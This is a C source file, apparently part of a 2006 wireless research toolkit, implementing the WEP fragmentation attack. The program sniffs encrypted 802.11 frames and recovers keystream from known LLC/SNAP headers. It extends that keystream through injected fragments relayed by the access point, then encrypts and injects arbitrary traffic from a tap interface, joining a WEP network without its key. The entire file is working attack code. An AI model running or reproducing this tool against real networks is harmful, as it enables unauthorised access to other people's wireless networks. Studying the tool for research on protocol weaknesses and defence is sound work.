1 /*- 2 * Copyright (c) 2006, Andrea Bittau <a.bittau@cs.ucl.ac.uk> 3 * All rights reserved. 4 * 5 * Redistribution and use in source and binary forms, with or without 6 * modification, are permitted provided that the following conditions 7 * are met: 8 * 1. Redistributions of source code must retain the above copyright 9 * notice, this list of conditions and the following disclaimer. 10 * 2. Redistributions in binary form must reproduce the above copyright 11 * notice, this list of conditions and the following disclaimer in the 12 * documentation and/or other materials provided with the distribution. 13 * 14 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND 15 * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 16 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 17 * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE 18 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 19 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS 20 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 21 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT 22 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY 23 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF 24 * SUCH DAMAGE. 25 */ 26 #include <sys/endian.h> 27 #include <sys/time.h> 28 #include <sys/select.h> 29 #include <stdio.h> 30 #include <stdlib.h> 31 #include <string.h> 32 #include <err.h> 33 #include <unistd.h> 34 #include <fcntl.h> 35 #include <assert.h> 36 #include <zlib.h> 37 #include "w00t.h" 38 39 40 static char *known_pt_arp = "\xAA\xAA\x03\x00\x00\x00\x08\x06"; 41 static char *known_pt_ip = "\xAA\xAA\x03\x00\x00\x00\x08\x00"; 42 static int known_pt_len = 8; 43 44 enum { 45 S_START = 0, 46 S_SEND_FRAG, 47 S_WAIT_ACK, 48 S_WAIT_RELAY 49 }; 50 51 struct params { 52 int tx; 53 int rx; 54 55 char mac[6]; 56 char ap[6]; 57 58 char prga[2048]; 59 int prga_len; 60 char iv[3]; 61 62 char *fname; 63 64 struct timeval last; 65 char packet[2048]; 66 int packet_len; 67 int state; 68 69 char data[2048]; 70 char *data_ptr; 71 int data_len; 72 int data_try; 73 int mtu; 74 75 int seq; 76 int frag; 77 78 int tap; 79 }; 80 81 void usage(char *p) 82 { 83 printf("Usage: %s <opts>\n" 84 "-h\thelp\n" 85 "-b\t<bssid>\n" 86 "-t\t<tap>\n" 87 , p); 88 exit(0); 89 } 90 91 void load_prga(struct params *p) 92 { 93 int fd; 94 int rd; 95 96 fd = open(p->fname, O_RDONLY); 97 if (fd == -1) { 98 p->prga_len = 0; 99 return; 100 } 101 102 rd = read(fd, p->iv, 3); 103 if (rd == -1) 104 err(1, "read()"); 105 if (rd != 3) { 106 printf("Short read\n"); 107 exit(1); 108 } 109 110 rd = read(fd, p->prga, sizeof(p->prga)); 111 if (rd == -1) 112 err(1, "read()"); 113 p->prga_len = rd; 114 115 printf("Loaded %d PRGA from %s\n", p->prga_len, p->fname); 116 close(fd); 117 } 118 119 void save_prga(struct params *p) 120 { 121 int fd; 122 int rd; 123 124 fd = open(p->fname, O_WRONLY | O_CREAT, 0644); 125 if (fd == -1) 126 err(1, "open()"); 127 128 rd = write(fd, p->iv, 3); 129 if (rd == -1) 130 err(1, "write()"); 131 if (rd != 3) { 132 printf("Short write\n"); 133 exit(1); 134 } 135 136 rd = write(fd, p->prga, p->prga_len); 137 if (rd == -1) 138 err(1, "write()"); 139 if (rd != p->prga_len) { 140 printf("Wrote %d/%d\n", rd, p->prga_len); 141 exit(1); 142 } 143 close(fd); 144 145 printf("Got %d bytes of PRGA\n", p->prga_len); 146 } 147 148 int is_arp(struct ieee80211_frame *wh, int len) 149 { 150 /* XXX */ 151 if (len > (sizeof(*wh) + 4 + 4 + 39)) 152 return 0; 153 154 return 1; 155 } 156 157 void get_prga(struct params *p) 158 { 159 char buf[4096]; 160 int rc; 161 struct ieee80211_frame *wh; 162 char *bssid; 163 char *ptr; 164 char *known_pt; 165 166 rc = sniff(p->rx, buf, sizeof(buf)); 167 if (rc == -1) 168 err(1, "sniff()"); 169 170 wh = get_wifi(buf, &rc); 171 if (!wh) 172 return; 173 174 if (!frame_type(wh, IEEE80211_FC0_TYPE_DATA, 175 IEEE80211_FC0_SUBTYPE_DATA)) 176 return; 177 178 if (is_arp(wh, rc)) 179 known_pt = known_pt_arp; 180 else 181 known_pt = known_pt_ip; 182 183 if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) 184 bssid = wh->i_addr1; 185 else 186 bssid = wh->i_addr2; 187 188 if (memcmp(p->ap, bssid, 6) != 0) 189 return; 190 191 if (!(wh->i_fc[1] & IEEE80211_FC1_PROTECTED)) { 192 printf("Packet not WEP!\n"); 193 return; 194 } 195 196 ptr = (char*) (wh+1); 197 memcpy(p->iv, ptr, 3); 198 ptr += 4; 199 rc -= sizeof(wh) + 4; 200 201 assert(rc >= known_pt_len); 202 203 for (rc = 0; rc < known_pt_len; rc++) { 204 p->prga[rc] = known_pt[rc] ^ (*ptr); 205 ptr++; 206 } 207 208 p->prga_len = rc; 209 save_prga(p); 210 } 211 212 void start(struct params *p) 213 { 214 int len; 215 216 len = p->prga_len; 217 len -= 4; 218 assert(len > 0); 219 220 len *= 4; 221 if (len > p->mtu) 222 len = p->mtu; 223 224 p->data_len = len; 225 memset(p->data, 0, p->data_len); 226 memcpy(p->data, "\xaa\xaa\x03\x00\x00\x00\x08\x06", 8); 227 p->data_ptr = p->data; 228 p->data_try = 0; 229 p->seq++; 230 p->frag = 0; 231 p->state = S_SEND_FRAG; 232 } 233 234 void send_packet(struct params *p) 235 { 236 int rc; 237 struct ieee80211_frame *wh; 238 239 rc = inject(p->tx, p->packet, p->packet_len); 240 if (rc == -1) 241 err(1, "inject()"); 242 if (rc != p->packet_len) { 243 printf("Wrote %d/%d\n", rc, p->packet_len); 244 exit(1); 245 } 246 247 p->data_try++; 248 wh = (struct ieee80211_frame*) p->packet; 249 wh->i_fc[1] |= IEEE80211_FC1_RETRY; 250 251 if (gettimeofday(&p->last, NULL) == -1) 252 err(1, "gettimeofday()"); 253 } 254 255 void send_frag(struct params *p) 256 { 257 struct ieee80211_frame *wh; 258 int dlen, rem; 259 int last = 0; 260 short *seqp; 261 char *ptr; 262 uLong *pcrc; 263 uLong crc = crc32(0L, Z_NULL, 0); 264 int i; 265 266 memset(p->packet, 0, sizeof(p->packet)); 267 wh = (struct ieee80211_frame*) p->packet; 268 269 /* calculate how much data we need to copy */ 270 dlen = p->prga_len - 4; 271 rem = p->data_ptr - p->data; 272 rem = p->data_len - rem; 273 274 if (rem <= dlen) { 275 dlen = rem; 276 last = 1; 277 } 278 279 /* 802.11 */ 280 wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA; 281 wh->i_fc[0] |= IEEE80211_FC0_SUBTYPE_DATA; 282 wh->i_fc[1] |= IEEE80211_FC1_PROTECTED; 283 wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS; 284 if (!last) 285 wh->i_fc[1] |= IEEE80211_FC1_MORE_FRAG; 286 287 wh->i_dur[0] = 0x69; 288 wh->i_dur[1] = 0x00; 289 290 memcpy(wh->i_addr1, p->ap, 6); 291 memcpy(wh->i_addr2, p->mac, 6); 292 memset(wh->i_addr3, 0xff, 6); 293 294 seqp = (short*) wh->i_seq; 295 *seqp = seqfn(p->seq, p->frag); 296 p->frag++; 297 298 /* IV & data */ 299 ptr = (char*) (wh+1); 300 memcpy(ptr, p->iv, 3); 301 ptr += 4; 302 memcpy(ptr, p->data_ptr, dlen); 303 304 /* crc */ 305 crc = crc32(crc, ptr, dlen); 306 pcrc = (uLong*) (ptr+dlen); 307 *pcrc = crc; 308 309 /* wepify */ 310 for (i = 0; i < dlen+4; i++) 311 ptr[i] = ptr[i] ^ p->prga[i]; 312 313 /* prepare for next frag */ 314 p->packet_len = sizeof(*wh) + 4 + dlen + 4; 315 p->data_ptr += dlen; 316 #if 0 317 printf("Sening %sfrag [%d/%d] [len=%d]\n", last ? "last " : "", 318 p->seq, p->frag, dlen); 319 #endif 320 if (last) { 321 p->data_ptr = p->data; 322 p->frag = 0; 323 p->seq++; 324 } 325 326 /* send it off */ 327 send_packet(p); 328 p->state = S_WAIT_ACK; 329 } 330 331 void wait_ack(struct params *p) 332 { 333 struct timeval now; 334 int el; 335 int tout = 10*1000; 336 fd_set fds; 337 int rc; 338 char buf[4096]; 339 struct ieee80211_frame *wh; 340 341 if (gettimeofday(&now, NULL) == -1) 342 err(1, "gettimeofday()"); 343 344 /* check for timeout */ 345 el = elapsed(&p->last, &now); 346 if (el >= tout) { 347 if (p->data_try >= 3) { 348 #if 0 349 printf("Re-sending whole lot\n"); 350 #endif 351 p->state = S_START; 352 return; 353 } 354 #if 0 355 printf("Re-sending frag\n"); 356 #endif 357 send_packet(p); 358 el = 0; 359 } 360 361 el = tout - el; 362 now.tv_sec = el/1000/1000; 363 now.tv_usec = el - now.tv_sec*1000*1000; 364 365 FD_ZERO(&fds); 366 FD_SET(p->rx, &fds); 367 if (select(p->rx+1, &fds, NULL, NULL, &now) == -1) 368 err(1, "select()"); 369 370 if (!FD_ISSET(p->rx, &fds)) 371 return; 372 373 /* grab ack */ 374 rc = sniff(p->rx, buf, sizeof(buf)); 375 if (rc == -1) 376 err(1, "sniff()"); 377 378 wh = get_wifi(buf, &rc); 379 if (!wh) 380 return; 381 382 if (!frame_type(wh, IEEE80211_FC0_TYPE_CTL, IEEE80211_FC0_SUBTYPE_ACK)) 383 return; 384 385 if (memcmp(p->mac, wh->i_addr1, 6) != 0) 386 return; 387 388 /* wait for relay */ 389 if (p->frag == 0) { 390 p->state = S_WAIT_RELAY; 391 if (gettimeofday(&p->last, NULL) == -1) 392 err(1, "gettimeofday()"); 393 } 394 else 395 p->state = S_SEND_FRAG; 396 } 397 398 void wait_relay(struct params *p) 399 { 400 int tout = 20*1000; 401 struct timeval now; 402 int el; 403 fd_set fds; 404 int rc; 405 char buf[4096]; 406 struct ieee80211_frame *wh; 407 char *ptr; 408 uLong crc = crc32(0L, Z_NULL, 0); 409 uLong *pcrc; 410 411 if (gettimeofday(&now, NULL) == -1) 412 err(1, "gettimeofday()"); 413 414 el = elapsed(&p->last, &now); 415 if (el >= tout) { 416 #if 0 417 printf("No relay\n"); 418 #endif 419 p->state = S_START; 420 return; 421 } 422 el = tout - el; 423 now.tv_sec = el/1000/1000; 424 now.tv_usec = el - now.tv_sec*1000*1000; 425 426 FD_ZERO(&fds); 427 FD_SET(p->rx, &fds); 428 if (select(p->rx+1, &fds, NULL, NULL, &now) == -1) 429 err(1, "select()"); 430 431 if (!FD_ISSET(p->rx, &fds)) 432 return; 433 434 /* get relay */ 435 rc = sniff(p->rx, buf, sizeof(buf)); 436 if (rc == -1) 437 err(1, "sniff()"); 438 439 wh = get_wifi(buf, &rc); 440 if (!wh) 441 return; 442 443 if (!frame_type(wh, IEEE80211_FC0_TYPE_DATA, 444 IEEE80211_FC0_SUBTYPE_DATA)) 445 return; 446 447 if (memcmp(wh->i_addr2, p->ap, 6) != 0) 448 return; 449 450 if (memcmp(wh->i_addr3, p->mac, 6) != 0) 451 return; 452 453 if (memcmp(wh->i_addr1, "\xff\xff\xff\xff\xff\xff", 6) != 0) 454 return; 455 456 /* lends different due to padding? */ 457 if ( (rc - sizeof(*wh) - 8) != p->data_len) 458 return; 459 460 /* grab new PRGA */ 461 assert(p->data_len >= p->prga_len); 462 ptr = (char*) (wh+1); 463 memcpy(p->iv, ptr, 3); 464 ptr += 4; 465 466 crc = crc32(crc, p->data, p->data_len); 467 pcrc = (uLong*) &p->data[p->data_len]; /* XXX overflow ph33r */ 468 *pcrc = crc; 469 470 for (rc = 0; rc < p->data_len+4; rc++) 471 p->prga[rc] = p->data[rc] ^ ptr[rc]; 472 473 p->prga_len = p->data_len+4; 474 p->state = S_START; 475 save_prga(p); 476 } 477 478 void get_more_prga(struct params *p) 479 { 480 switch (p->state) { 481 case S_START: 482 start(p); 483 break; 484 485 case S_SEND_FRAG: 486 send_frag(p); 487 break; 488 489 case S_WAIT_ACK: 490 wait_ack(p); 491 break; 492 493 case S_WAIT_RELAY: 494 wait_relay(p); 495 break; 496 497 default: 498 printf("WTF %d\n", p->state); 499 abort(); 500 break; 501 } 502 } 503 504 void read_tap(struct params *p) 505 { 506 int offset; 507 char *ptr; 508 struct ieee80211_frame *wh; 509 int rc; 510 char dst[6]; 511 short *seq; 512 uLong *pcrc; 513 uLong crc = crc32(0L, Z_NULL, 0); 514 515 memset(p->packet, 0, sizeof(p->packet)); 516 offset = sizeof(*wh) + 4 + 8 - 14; 517 rc = sizeof(p->packet) - offset; 518 ptr = &p->packet[offset]; 519 520 rc = read(p->tap, ptr, rc); 521 if (rc == -1) 522 err(1, "read()"); 523 524 memcpy(dst, ptr, sizeof(dst)); 525 wh = (struct ieee80211_frame*) p->packet; 526 wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA; 527 wh->i_fc[0] |= IEEE80211_FC0_SUBTYPE_DATA; 528 wh->i_fc[1] |= IEEE80211_FC1_PROTECTED; 529 wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS; 530 531 wh->i_dur[0] = 0x69; 532 533 memcpy(wh->i_addr1, p->ap, 6); 534 memcpy(wh->i_addr2, p->mac, 6); 535 memcpy(wh->i_addr3, dst, 6); 536 537 seq = (short*) wh->i_seq; 538 *seq = seqfn(p->seq++, 0); 539 540 /* data */ 541 ptr = (char*) (wh+1); 542 memcpy(ptr, p->iv, 3); 543 ptr += 3; 544 *ptr++ = 0; 545 memcpy(ptr, "\xAA\xAA\x03\x00\x00\x00", 6); 546 rc -= 14; 547 rc += 8; 548 549 crc = crc32(crc, ptr, rc); 550 pcrc = (uLong*) (ptr+rc); 551 *pcrc = crc; 552 553 rc += 4; 554 555 assert(p->prga_len >= rc); 556 557 /* wepify */ 558 for (offset = 0; offset < rc; offset++) 559 ptr[offset] ^= p->prga[offset]; 560 561 p->packet_len = sizeof(*wh) + 4 + rc; 562 p->data_try = 0; 563 send_packet(p); 564 p->state = S_WAIT_ACK; 565 } 566 567 /* XXX */ 568 void wait_tap_ack(struct params *p) 569 { 570 p->data_try = 0; 571 p->frag = 1; 572 wait_ack(p); 573 574 if (p->state == S_SEND_FRAG) { 575 #if 0 576 printf("Got ACK\n"); 577 #endif 578 p->state = S_START; 579 } 580 } 581 582 void transmit(struct params *p) 583 { 584 switch (p->state) { 585 case S_START: 586 read_tap(p); 587 break; 588 589 case S_WAIT_ACK: 590 wait_tap_ack(p); 591 break; 592 593 default: 594 printf("wtf %d\n", p->state); 595 abort(); 596 break; 597 } 598 } 599 600 int main(int argc, char *argv[]) 601 { 602 struct params p; 603 char *iface = "wlan0"; 604 char *tap = "tap0"; 605 int ch; 606 607 memset(&p, 0, sizeof(p)); 608 p.fname = "prga.log"; 609 memcpy(p.mac, "\x00\x00\xde\xfa\xce\x0d", 6); 610 p.state = S_START; 611 p.mtu = 1500; 612 p.seq = getpid(); 613 614 while ((ch = getopt(argc, argv, "hb:t:")) != -1) { 615 switch (ch) { 616 case 'b': 617 if (str2mac(p.ap, optarg) == -1) { 618 printf("Can't parse BSSID\n"); 619 exit(1); 620 } 621 break; 622 623 case 't': 624 tap = optarg; 625 break; 626 627 case 'h': 628 default: 629 usage(argv[0]); 630 break; 631 } 632 } 633 634 /* init */ 635 if ((p.rx = open_rx(iface)) == -1) 636 err(1, "open_rx()"); 637 if ((p.tx = open_tx(iface)) == -1) 638 err(1, "open_tx()"); 639 640 if ((p.tap = open_tap(tap)) == -1) 641 err(1, "open_tap()"); 642 if (set_iface_mac(tap, p.mac) == -1) 643 err(1, "set_iface_mac()"); 644 645 printf("Obtaining PRGA\n"); 646 /* make sure we got some prga */ 647 load_prga(&p); 648 649 while (p.prga_len == 0) 650 get_prga(&p); 651 652 /* lets grab some more */ 653 while (p.prga_len < p.mtu) 654 get_more_prga(&p); 655 656 /* transmit */ 657 p.state = S_START; 658 while (1) 659 transmit(&p); 660 661 exit(0); 662 } 663